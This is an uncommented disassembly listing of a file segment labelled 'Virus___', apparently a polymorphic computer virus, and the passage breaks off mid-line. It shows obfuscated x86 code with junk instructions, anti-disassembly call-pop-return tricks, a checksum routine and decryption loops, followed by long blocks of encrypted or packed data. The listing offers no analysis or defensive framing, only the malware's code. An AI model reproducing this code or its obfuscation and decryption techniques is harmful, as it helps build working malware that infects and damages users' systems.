[ebp+71B3F98h] jmp esi ; --------------------------------------------------------------------------- dd 4403AD56h, 8B972824h, 5858ADFh, 84071B1Ch, 3A0474C0h dd 574C7507h ; --------------------------------------------------------------------------- xor al, al loc_53EEE2: ; CODE XREF: Virus___:0053EEE3j scasb jnz short loc_53EEE2 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_53EEEF: ; CODE XREF: Virus___:0053EF18j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_53EEFE: ; CODE XREF: Virus___:0053EF11j shr bx, 1 rcr ax, 1 jnb short loc_53EF0F xor ax, 5041h xor bx, 5449h loc_53EF0F: ; CODE XREF: Virus___:0053EF04j dec dh jnz short loc_53EEFE xor ecx, eax xor edx, ebx dec edi jnz short loc_53EEEF not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_53EF3A pop esi add esi, 4 inc dword ptr [ebp+71B2A29h] ; --------------------------------------------------------------------------- db 0E9h, 6Fh, 0FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53EF3A: ; CODE XREF: Virus___:0053EF29j pop esi jmp loc_53EF49 ; --------------------------------------------------------------------------- dd 93B0739Ah, 242E0493h db 6Eh ; --------------------------------------------------------------------------- loc_53EF49: ; CODE XREF: Virus___:0053EF3Bj sub [ebp+71B2A51h], eax mov eax, [ebp+71B2A29h] mov [ebp+71B3105h], edi shl eax, 1 or [ebp+71B318Dh], edi jle loc_53EF73 pusha mov bh, cl jnz $+6 popa loc_53EF73: ; CODE XREF: Virus___:0053EF63j add eax, [ebp+71B29F9h] mov [ebp+71B0585h], eax sub esi, esi sub [ebp+71B0A99h], edi xchg eax, esi mov [ebp+71B0B6Dh], esi add [ebp+71B1C79h], esi lodsw jnb loc_53EFA2 sub [ebp+71B32B5h], esi loc_53EFA2: ; CODE XREF: Virus___:0053EF96j shl eax, 2 cmc add eax, [ebp+71B25A1h] jnp loc_53EFC4 jmp loc_53EFC4 ; --------------------------------------------------------------------------- db 91h dd 0E4C6DE9Ah, 0B2B5B248h, 190EC400h ; --------------------------------------------------------------------------- loc_53EFC4: ; CODE XREF: Virus___:0053EFACj ; Virus___:0053EFB2j xchg eax, esi sub [ebp+71B32CDh], esi sub [ebp+71B2BF1h], ebx lodsd pusha mov dh, ah mov bx, 5A9h popa mov ecx, [esp+24h] xor [ebp+71B1459h], eax add eax, [esp+24h] jnb loc_53F003 jmp loc_53F003 ; --------------------------------------------------------------------------- db 37h dd 0D0A59EF0h, 26165CC1h, 9C693262h ; --------------------------------------------------------------------------- inc ecx cmpsd lodsd loc_53F003: ; CODE XREF: Virus___:0053EFE8j ; Virus___:0053EFEEj jnz loc_53F015 jno loc_53F015 mov [ebp+71B30C5h], edi loc_53F015: ; CODE XREF: Virus___:loc_53F003j ; Virus___:0053F009j mov [esp+1Ch], eax pusha pusha mov bx, dx mov ecx, [ebp+71B12DDh] popa jge loc_53F031 mov [ebp+71B28A1h], edx loc_53F031: ; CODE XREF: Virus___:0053F025j popa xchg eax, esi sub [ebp+71B1F09h], esi lodsb jp loc_53F04F jmp loc_53F04F ; --------------------------------------------------------------------------- db 0B5h, 5Bh, 3Ch dd 566E7EBCh db 5Fh, 0C4h, 8Fh ; --------------------------------------------------------------------------- loc_53F04F: ; CODE XREF: Virus___:0053F03Aj ; Virus___:0053F040j xor cl, cl jmp loc_53F064 ; --------------------------------------------------------------------------- retn 2146h ; --------------------------------------------------------------------------- db 0B4h, 0F0h, 0F5h dd 0C2638E50h, 0C439DC68h ; --------------------------------------------------------------------------- loc_53F064: ; CODE XREF: Virus___:0053F051j inc cl pusha mov edx, [ebp+71B0AA5h] mov si, 1194h popa stc loc_53F073: ; CODE XREF: Virus___:0053F0C4j rcl al, 1 jnb loc_53F102 jo loc_53F088 pusha mov ebx, 3A0E882h popa loc_53F088: ; CODE XREF: Virus___:0053F07Bj rcl al, 1 jnb loc_53F102 stc add [ebp+71B0121h], edx rcl al, 1 jb loc_53F102 clc jo loc_53F0B4 pusha mov [ebp+71B30B5h], edi or [ebp+71B0BC1h], eax popa loc_53F0B4: ; CODE XREF: Virus___:0053F0A0j rcl al, 1 jb loc_53F102 sub [ebp+71B2991h], ecx dec cl jns loc_53F073 clc add esp, 20h mov [ebp+71B1515h], edi mov dword ptr [esp-4], 0 sub [ebp+71B3375h], edx mov eax, 1 clc mov [ebp+71B2C0Dh], esi lea ecx, [ebp+71B71A5h] mov [ebp+71B2FDDh], esi jmp ecx ; --------------------------------------------------------------------------- sub [ebp+71B1F01h], esi loc_53F102: ; CODE XREF: Virus___:0053F075j ; Virus___:0053F08Aj ... mov byte ptr [ebp+71B1C05h], 0 stc popa jbe loc_53F118 jnz loc_53F118 cmc loc_53F118: ; CODE XREF: Virus___:0053F10Bj ; Virus___:0053F111j or [ebp+71B15F5h], edx retn 8 ; --------------------------------------------------------------------------- mov [ebp+71B1445h], ebx mov [ebp+71B2781h], edi push eax pusha jnp loc_53F139 mov ax, 9A57h loc_53F139: ; CODE XREF: Virus___:0053F12Fj mov edx, ecx popa mov [esp], esi mov [ebp+71B1F09h], esi pusha or [ebp+71B2F29h], esi mov eax, [ebp+71B1F79h] popa mov [ebp+71B4166h], esi jmp loc_53F170 ; --------------------------------------------------------------------------- dw 0A0E8h dd 6D4F9F98h, 9B9EAED1h, 6DE361D4h, 9240181Dh ; --------------------------------------------------------------------------- loc_53F170: ; CODE XREF: Virus___:0053F159j mov [ebp+71B4177h], ecx xor [ebp+71B15F5h], eax lea esi, [ebp+71B4040h] or [ebp+71B00B9h], ecx lea eax, dword_5B8EA1[ebp] sub [ebp+71B25FDh], edx call eax xor [ebp+71B297Dh], esi pop esi sub [ebp+71B1291h], ebx retn ; --------------------------------------------------------------------------- mov [ebp+71B09FDh], ebx mov esi, [ebp+71B4166h] or [ebp+71B1A59h], eax mov ecx, [ebp+71B4177h] pusha jnz loc_53F1C9 mov [ebp+71B1285h], ecx loc_53F1C9: ; CODE XREF: Virus___:0053F1BDj sub [ebp+71B29A5h], eax popa mov eax, 0 sub [ebp+71B0121h], ecx mov ebx, ecx cmc jo loc_53F1EA add [ebp+71B053Dh], ebx loc_53F1EA: ; CODE XREF: Virus___:0053F1DEj jmp loc_53F2AF ; --------------------------------------------------------------------------- jmp loc_53F203 ; --------------------------------------------------------------------------- dd 0A3374469h, 0F87342D2h, 0CE6FEF9Fh db 18h, 1Bh, 0A8h ; --------------------------------------------------------------------------- loc_53F203: ; CODE XREF: Virus___:0053F1EFj ; Virus___:0053F2B1j xor ah, [esi] clc mov dl, 2 clc add [ebp+71B24C1h], eax jmp loc_53F28D ; --------------------------------------------------------------------------- pusha js loc_53F221 or [ebp+71B0961h], edi loc_53F221: ; CODE XREF: Virus___:0053F215j xor ebx, [ebp+71B2269h] popa loc_53F228: ; CODE XREF: Virus___:0053F28Fj xor al, dl jl loc_53F238 js loc_53F238 pusha popa loc_53F238: ; CODE XREF: Virus___:0053F22Aj ; Virus___:0053F230j add eax, 8A751D7Ah sub [ebp+71B2951h], eax mov cl, ah mov [ebp+71B3259h], edx ror eax, cl jnp loc_53F26D jle loc_53F26D jmp loc_53F26D ; --------------------------------------------------------------------------- dw 0B946h dd 74D5C0AFh, 75FDC3ECh, 976AC6Ah ; --------------------------------------------------------------------------- xchg eax, ebx loc_53F26D: ; CODE XREF: Virus___:0053F24Dj ; Virus___:0053F253j ... xor eax, 98D10842h cld jmp loc_53F28A ; --------------------------------------------------------------------------- sbb al, 7Ah idiv dword ptr [edi] retf ; --------------------------------------------------------------------------- db 0F5h, 39h, 3 dd 0C1F36F2h, 0BE2A9497h db 0ABh, 8Eh ; --------------------------------------------------------------------------- loc_53F28A: ; CODE XREF: Virus___:0053F273j dec dl clc loc_53F28D: ; CODE XREF: Virus___:0053F20Fj or dl, dl jnz loc_53F228 cmc dec ebx jno loc_53F2A8 pusha js $+6 and dl, 23h popa loc_53F2A8: ; CODE XREF: Virus___:0053F297j inc esi mov [ebp+71B14E9h], edx loc_53F2AF: ; CODE XREF: Virus___:loc_53F1EAj or ebx, ebx jnz loc_53F203 xor [ebp+71B0E21h], edi iret ; --------------------------------------------------------------------------- mov [ebp+71B26F5h], edx jmp near ptr dword_53F2D0 ; --------------------------------------------------------------------------- db 44h, 0B6h, 38h dd 2A0110BFh dword_53F2D0 dd 8D290000h, 71B3529h, 820F0000h, 1, 0F0000F8h, 168Eh ; CODE XREF: Virus___:0053F2C4j dd 11E900h, 0A6020000h, 0F7679304h, 0E36D41A2h, 0ED30559h dd 69CE2Eh, 0ED858900h, 8D071B08h, 1B3B0C85h, 68A0F07h dd 1000000h, 1B22D5BDh, 91858907h, 0F9071B04h, 3FC3858Dh dd 0BD89071Bh, 71B164Dh, 17718589h, 12E8071Bh, 44000000h dd 0CECB020Bh, 0F507FBFCh, 0D521495Dh, 0D88ACDDBh, 3FC08121h dd 5A40CECEh, 17ADBD8Bh, 0C281071Bh, 5C4Fh, 233DBD09h dd 0BB071Bh, 66000000h, 8B4539BFh, 0B70F1A34h, 0CC681C2h dd 8A1EE80Eh, 9BF681C6h, 8B114D46h, 1B2CFDBDh, 92EE8107h dd 893347B8h, 1B0CD9BDh, 8B0F5607h, 6, 3099589h, 48F071Bh dd 0EE81Ah, 41DB0000h, 50C79364h, 94679A40h, 60143F7Ah dd 8523505Fh, 71B1671h, 4EB8359h, 74FB81F9h, 0FFFFFA4h dd 1885h, 81666000h, 956C0E3h, 1B2A6D85h, 1FE96107h, 22000000h dd 0F6717BDCh, 75BD89CAh, 0E9071B26h, 0FFFFFF7Bh, 0F9E7CE84h dd 0BC11F4F7h, 6864C8FDh, 14EB30FEh, 4 dup(0) dd 8Bh, 4361858Dh, 8589071Bh, 71B0C21h, 42A2BD83h, 0F00071Bh dd 12B84h, 585C600h, 56071B1Ch, 1FA3868h, 24048159h, 7B1D7301h dd 225DB5FFh, 858D071Bh, 71B3B0Ch, 8589D0FFh, 71B4296h dd 1C0585C6h, 6856071Bh, 6980E9D7h, 7B240481h, 0FF3327CEh dd 1B225DB5h, 0C858D07h, 0FF071B3Bh, 9A8589D0h, 6A071B42h dd 4E804h, 10000000h, 8B500000h, 8B042444h, 24448900h dd 858B5804h, 71B42A6h, 1F405h, 2E0C100h, 6A905090h, 9A95FF00h dd 89071B42h, 1B429E85h, 0B8D88B07h, 0FFFFFFFFh, 0C2195FFh dd 0C38B071Bh, 0C2195FFh, 8DE9071Bh, 83000000h, 1B42A2BDh dd 850F0007h, 1, 0BD8B57C3h, 71B429Eh, 9E8583ABh, 4071B42h dd 0BD83C35Fh, 71B42A2h, 1850F00h, 0C3000000h, 9EAD8360h dd 4071B42h, 429E9D8Bh, 7B83071Bh, 850FFFFCh, 1Dh, 1695EC68h dd 2434817Dh, 7D1615ECh, 33FF006Ah, 429695FFh, 0C361071Bh dd 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h, 24448900h dd 6A5804h, 95FF33FFh, 71B4296h, 429EAD83h, 0E904071Bh dd 0FFFFFFA8h, 1ADE948h, 8B600000h, 8B242474h, 0FC28247Ch dd 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h, 46168A00h dd 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah, 6A830FD2h dd 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h, 12Ah dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h dd 8205BB00h, 0DF36CD35h, 28D00DB2h, 0F66A7E0Dh, 4D35C362h dd 5D03EAFAh, 334222ECh, 4F2CF17Bh, 8223E679h, 0D374C638h dd 7AC71FBAh, 0F1786F5Eh, 227ECC27h, 57099A99h, 3F433FF8h dd 4D2CF129h, 8220E97Fh, 0CC74DC38h, 7AD805A7h, 0EA667340h dd 4970D830h, 4045AEFAh, 72523FFCh, 5862F07Bh, 8236FD7Fh dd 0CD3BDA21h, 74D80BA7h, 63h dup(0) dd 8205BB00h, 0C33AC73Ch, 7AC705A1h, 0E264645Dh, 83DC030h dd 1216ABFCh, 7D4329FBh, 542DE229h, 0D064EC7Eh, 0C33AC624h dd 33950DBBh, 0EA723643h, 5B70D337h, 5711B9EDh, 1E2C62F4h dd 4027E859h, 8268ED63h, 0C538C624h, 33950EB4h, 0F76D3659h dd 4570CC2Dh, 400AA7F1h, 7D476CE0h, 4430A46Dh, 0D025FC63h dd 0C52D8825h, 2A9518A0h, 0F76C795Fh, 7ECC23h, 48h dup(0) dd 8205BB00h, 0C935DA32h, 7DC70FBEh, 0EA7F365Eh, 4070CD2Dh dd 5045B9F5h, 334829FCh, 4F37EB6Fh, 0D736A874h, 0C43DC63Fh dd 34DC4AB2h, 0F0646F0Dh, 51238130h, 5F00BEE7h, 432B46B7h dd 5223E165h, 0D764A475h, 0CB3BC43Fh, 2EDC4AB1h, 0EA79700Dh dd 4D3D812Fh, 4B17A5F9h, 77482DB9h, 5227F629h, 0D636E964h dd 0DF3BD171h, 28C54AA7h, 0E4797142h, 8F2Fh, 61h dup(0) dd 0CB02BB00h, 0C974CD3Dh, 2FC718BAh, 0E16E625Dh, 7C708F63h dd 1216A3FCh, 74493EE9h, 12FE57Bh, 8237E978h, 0C431CD33h dd 34D407F5h, 0E97E6644h, 4C35D523h, 560BABB4h, 6A4721B9h dd 2C48E16Bh, 0D163FC79h, 0CC3AC171h, 3FC109B0h, 0FC693649h dd 7E70C062h, 4110B8FDh, 335423B9h, 4223F66Ah, 8C20ED7Bh dd 0C33CFC71h, 33D34AA6h, 0F22B7341h, 5C77CF2Dh, 400ABDB4h dd 7D476CF2h, 532DE970h, 0A675h, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_542C39 ; --------------------------------------------------------------------------- mov edx, [ebp+71B32FDh] cld mov ebx, [ebp+71B1E8Dh] mov eax, eax push 0 push eax call sub_540107 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_540107 proc near ; CODE XREF: Virus___:005400FFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_540107 endp ; --------------------------------------------------------------------------- db 0F1h dd 25907A57h, 2229B501h, 0BD83071Bh, 71B1BD1h, 83097500h dd 1B1FD5BDh, 13740007h, 0C08B5350h, 1B8h, 5A9D8D00h, 0FF071DAAh dd 83585BD3h, 1B1FD5BDh, 11740007h, 1B85350h, 8D000000h dd 1DA90B9Dh, 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 7012DFD6h, 0BD89A6B1h dd 8D019A5Ah, 71B08A5h, 77B2C08Bh, 1AD5BD83h, 0F00071Bh dd 17D84h, 64B65700h, 8DBD835Ah, 71B26h, 16C840Fh, 958B0000h dd 71B1159h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0D2E35080h, 0D338DA82h, 958B69F3h dd 71B27BDh, 858BD98Bh, 71B268Dh, 12EDBD89h, 0E805071Bh dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0C2DDC357h, 52606492h, 0F58FBB7h dd 5061D9B7h, 446ABB66h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0FAC7C350h dd 0BB985Fh, 8D559C22h, 1B4F6585h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0D4ED4122h dd 0AB009F03h, 51605058h, 2035B866h, 61F38A5Fh, 80240489h dd 958B29E6h, 71B1781h, 4F43858Dh, 0F381071Bh, 79C1FD37h dd 2800F90h, 8B000000h, 6A9050D9h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B34C351h dd 1B0D4995h, 6D95FF07h, 8B071B16h, 0CC483D8h, 8D5FBA66h dd 4F43858Dh, 0B589071Bh, 71B354Dh, 89FA8A50h, 81662404h dd 6A3160F2h, 95FFFC02h, 6AED14h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 15C35646h, 2A5DBD09h, 161071Bh dd 1B147185h, 85C7FC07h, 71B4F76h, 1, 0D7DB8166h, 830F96C9h dd 1Fh, 6E8h, 0E1E87400h, 0E98CE879h, 0Eh, 1253E8E6h, 0DE37195Ch dd 66705119h, 505B5C73h, 9E85250h, 0E3000000h, 0A46B1316h dd 0DB79B2C4h, 0F5B5B52h, 5AF08A31h, 12E99658h, 0D0000000h dd 0CBFB1039h, 2FD59D81h, 247733Fh, 39CB53AFh, 0D98B6609h dd 4F27B589h, 21BB071Bh, 831BBCC1h, 1B2105BDh, 850F0107h dd 54h, 26919D03h, 0F883071Bh, 45850F05h, 0E9000000h, 0Bh dd 0BE8EC570h, 0CD1DC0A7h, 8992EF8Ch, 1B27399Dh, 0B807h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0F76863C3h, 91846A1Dh, 9D8BB3DEh, 71B3519h dd 2119BD83h, 0F00071Bh, 8084h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0D1365C61h dd 14A78241h, 0EE9CE68h, 0A5000000h, 42E241B1h, 0B9931663h dd 0FB8A2E32h, 0BA60F885h, 5956A81Eh, 95FF64B6h, 71B2119h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1CC35141h dd 67E2844Dh, 938D3DACh, 493FBB66h, 0F46C04BAh, 840F6127h dd 5, 9DF5BBAh, 0EDBD8308h, 71B24h, 2F840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0E171DC3h, 0B8A28C0Ah, 33F1952Bh, 0B8071Bh, 0B7000000h dd 958B602Ah, 71B2949h, 0CD853160h, 8B071B30h, 858B61CAh dd 71B007Dh, 7E8h, 0A3735B00h, 0E71FD7EEh, 835BD68Bh, 816602C0h dd 89540FEBh, 1B4F1F85h, 0F58D2907h, 0C6071B26h, 0FE9FF00h dd 0BE000000h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh, 85C65611h dd 71B1C05h, 8E953h, 19AC0000h, 87FDF5A7h, 0CD686285h dd 0E9817820h, 10h, 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h dd 0B240481h, 6A7B3928h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8A56C353h, 11B5FFDEh dd 53071B2Eh, 5AD1B70Fh, 7E7A858Dh, 0FE9071Eh, 0F9000000h dd 0D28985BCh, 72482400h, 0BC92CA2Eh, 0D0FF04F4h, 89DAEF80h dd 1B128985h, 0B1853107h, 83071B0Ah, 1B325DBDh, 850F0107h dd 0E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0E3C35545h, 0B096C05Ah, 0B150DE9Ch, 6699D8Bh, 6A61071Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0EA8DC356h, 0B979BBA3h, 0BE96E22h, 0D3000000h dd 3D9FD631h, 0A9A24F4Eh, 85C6E305h, 71B1C05h, 5EB56045h dd 0E395D381h, 68613743h, 0C9BA8984h, 52505250h, 310F5A52h dd 810Fh, 585A0000h, 5250310Fh, 0E389BB66h, 0EE9310Fh dd 54000000h, 3388130Dh, 868EDDC1h, 6E154C0Ch, 5A585A03h dd 24348158h, 13DAB146h, 800Fh, 0B5FF0000h, 71B2E11h, 5E9h dd 0BE071E00h, 858DCEFEh, 71E7E7Ah, 2D24D6BBh, 0FD0FF0Eh dd 285h, 6AF9B300h, 0DB58900h, 0FF071B35h, 0E59D8BD0h dd 83071B2Ch, 1B345DBDh, 850F0107h, 99h, 8BDBBF0Fh, 1B007D85h dd 6E807h, 0CAD0000h, 0B7A0AD3Dh, 0CAED41BBh, 65E95A43h dd 0F9000000h, 2D519D8Bh, 0E850071Bh, 0Ah, 0A53E5D48h dd 634F75B0h, 505602CDh, 5A310F52h, 895B5B58h, 0DC8A2404h dd 958B146Ah, 71B276Dh, 128995FFh, 6A071Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F8D660C3h dd 0ADE73268h, 8BD41592h, 1B2AED9Dh, 9D315807h, 71B18C5h dd 0F003880h, 0FFFF9985h, 40CA80FFh, 890100C6h, 1B2C5DB5h dd 9D8B6107h, 71B0489h, 2FA1BD83h, 0F00071Bh, 8B84h, 5E900h dd 0CEC50000h, 60C96696h, 2739858Bh, 8166071Bh, 61916CE7h dd 958BFF6Ah, 71B2799h, 128995FFh, 6A071Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0A94B52C3h dd 0F30E7E5Ch, 0E9519BBAh, 11h, 5DE26A0Bh, 6EB1C880h, 7E800327h dd 9443B44Ah, 958B5A96h, 71B0B99h, 0FFFFABE9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BB26A60h, 2FA185C7h, 1071Bh, 8F0F0000h, 2, 8589D38Bh dd 71B4F2Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 99C35040h, 575090F8h, 68D0Fh, 8E0F0000h, 0 ; --------------------------------------------------------------------------- pop ebx nop mov ebx, [ebp+71B32ADh] pusha jno loc_540822 movsx ebx, dx loc_540822: ; CODE XREF: Virus___:00540819j push 5 push 0 push edi call sub_54082F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54082F proc near ; CODE XREF: Virus___:00540827p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_54082F endp ; --------------------------------------------------------------------------- db 70h dd 18081BB8h, 0E42FF445h, 0D38B6623h, 4F43858Dh, 870F071Bh dd 3, 90DAE780h, 0EE9h, 417B8C00h, 545F6684h, 217213Bh dd 503BD05Fh, 8190F88Ah, 1722D2CAh, 33858D0Eh, 66071B4Fh dd 892A0EBAh, 1B0331BDh, 0CE89007h, 7B000000h, 376F0E22h dd 3315EBE4h, 8A8C1ADCh, 50505AD7h, 0FD48A52h, 0D88B6631h dd 8A90585Ah, 8195FFDCh, 6A071B05h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D66EC353h dd 41B8A62Eh, 61BB662Bh, 778D8DE3h, 0E9071B7Ah, 0Bh, 18521FDCh dd 5D5FE58Fh, 563FC6FBh, 12DFDB81h, 0B5B2648h, 8D1174C0h dd 1B4F4385h, 0D1FF5007h, 4F618589h, 0AEB071Bh, 4F6185C7h dd 0FFFF071Bh, 0E960FFFFh, 13h, 15B0850Dh, 0D6A5CC6Ah dd 3BE9396Bh, 350C2524h, 8B5CBA9Ah, 958B61D6h, 71B045Dh dd 0D799D8Bh, 8961071Bh, 1B23D1B5h, 585C607h, 4D071B1Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D4C35040h dd 0AE98Fh, 6A700000h, 24355E59h, 4363C5AFh, 4EF59768h dd 5E854h, 41C30000h, 0E9BC8DBCh, 7, 0DF11E99Fh, 5A6EEBA7h dd 11240481h, 6A4FE681h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0F46AC352h, 0AAF4FADAh dd 95897E6Dh, 71B352Dh, 2295B5FFh, 9D8B071Bh, 71B2201h dd 7E7A858Dh, 6A071Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0C690C5C3h, 64958B36h, 0D0FF0E67h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 1BC35040h dd 6607E373h, 897507BBh, 1B295985h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E4E780D1h dd 1C0585C6h, 6A45071Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 233DC352h, 0CDDD6622h dd 0BA9616CCh, 4342EE88h, 1ED8B968h, 0EE990h, 617D0000h dd 1F0848AAh, 0B8ECDBEEh, 783D39D7h, 0D0243481h, 6A1E6CB1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 56FAC356h, 0E029D683h, 359D23FBh, 0FF071B34h dd 1B2E11B5h, 4BDE8007h, 7E7A858Dh, 958B071Eh, 71B15F5h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0BF4678C3h, 0C8F0Fh, 66600000h, 81324BB8h dd 9574CAD8h, 10E9613Fh, 0DB000000h, 6BE1EA5Bh, 0F1B56B02h dd 0D986D5DAh, 0B7E54CFCh, 5D85898Ah, 89071B14h, 1B14A5B5h dd 66D28B07h, 8C66D38Bh, 3BBB66D9h, 4C1F64Bh, 228840Fh dd 0BD890000h, 71B0CEDh, 166E9h, 9DBA6600h, 0D5B58B09h dd 89071B23h, 1B2E358Dh, 80C68107h, 6A000011h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8BF8C356h, 0B9BD83DAh, 71B30h, 65850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0DE5C09C3h, 0E8431990h, 12h, 78E8D59Ch, 120F4648h, 30E94C40h dd 0FA667947h, 958BF7E8h, 71B05A5h, 0DEBB665Bh, 0D4E9F8h dd 870F0000h, 17h, 0FE8h, 339D7F00h, 0C11113C4h, 0FBD2D293h dd 137FE00Dh, 835AE5B6h, 840F003Eh, 0AEh, 68D0Fh, 95890000h dd 71B2101h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0E9603F1Fh, 5, 682FC8FEh, 0E49FB903h dd 8961210Ah, 1B2E35BDh, 7880F07h, 60000000h, 2C945EBFh dd 146A6136h, 0FF5DF680h, 1B128995h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 2961FCACh dd 1B2B3185h, 0FF75E907h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0E0D719C3h, 45950360h dd 9071B19h, 1B128D95h, 6C76107h, 1, 83DBF680h, 1B4F2BBDh dd 850F0507h, 0AAh, 1C09BD89h, 0B58B071Bh, 71B145Dh, 310D8D31h dd 64B9071Bh, 8B000000h, 1B01159Dh, 0E83E8007h, 0E840Fh dd 9D8B0000h, 71B0959h, 30E9h, 0DA8B6600h, 0C2057E80h dd 60840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0F95CF2C3h, 0A6CF740Eh, 6A46CFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9D09A9C3h, 71B16EDh, 74DDB81h, 0F493E40h, 0FFFF8C85h dd 28BB66FFh, 10E908h, 0BB660000h, 0B5898ABCh, 71B2131h dd 8A99D8Bh, 958071Bh, 1B2E199Dh, 0A9BD8307h, 71B24h, 93840Fh dd 95030000h, 71B2E35h, 96C78060h, 1C0585C6h, 0F54071Bh dd 38Eh, 0D1B70F00h, 0EBBFBA68h, 0B86660DCh, 5360BB3Ah dd 0DE8B665Ah, 34816161h, 0A5014E24h, 0FFC7B623h, 1B2E11B5h dd 3D958B07h, 8D071B05h, 1E7E7A85h, 5D952907h, 0FF071B30h dd 0A7BA66D0h, 0DE947h, 0A6200000h, 8B6D40Ah, 18324B2Dh dd 6A65116Fh, 19958B00h, 0FF071B30h, 1B24A9B5h, 820F5207h dd 5, 5CA27CBAh, 66565A58h, 5B31EFBAh, 8D89D0FFh, 71B161Dh dd 8B66FC61h, 6585C7D3h, 1071B21h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 9304C357h, 51B53167h, 60071B20h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 8FC35242h, 4F7DF748h, 66C0AE5Bh dd 68263EBAh, 